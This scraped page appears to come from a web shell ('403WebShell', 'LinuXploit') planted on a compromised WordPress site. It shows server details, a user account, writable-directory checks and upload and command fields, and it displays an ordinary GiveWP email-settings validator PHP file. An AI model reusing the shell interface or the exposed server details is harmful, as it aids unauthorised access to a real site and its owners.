Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.15.26.231
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Email/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Email/GlobalSettingValidator.php
<?php

namespace Give\Email;

use Give_Admin_Settings;

/**
 * @since 2.17.1
 */
class GlobalSettingValidator
{
    /**
     * @since 2.17.1
     */
    public function __invoke()
    {
        // Bailout.
        if (
            ! Give_Admin_Settings::is_saving_settings() ||
            'emails' !== give_get_current_setting_tab() ||
            ! isset($_GET['section'])
        ) {
            return;
        }

        add_filter($this->getFilterHookName(), [$this, 'validateSetting']);
    }

    /**
     * @since 2.17.1
     * @since 2.17.2 Only filter value as unique array if set. Some settings do not need to be set, ie donation-receipt_recipient.
     */
    public function validateSetting($value)
    {
        if( ! empty( $value ) ) {
            // Same unique email address for email recipients.
            $recipientEmails = array_unique(array_filter($value));

            // Set default email recipient to admin email.
            $value = $recipientEmails ?: [get_bloginfo('admin_email')];
        }
        return $value;
    }

    /**
     * @since 2.17.1
     * Note: Filter hook defined in Give_Admin_Settings::save_fields function::1163
     *
     * @return string
     */
    private function getFilterHookName()
    {
        $email_type = give_get_current_setting_section();
        $settingName = "{$email_type}_recipient";

        return "give_admin_settings_sanitize_option_$settingName";
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit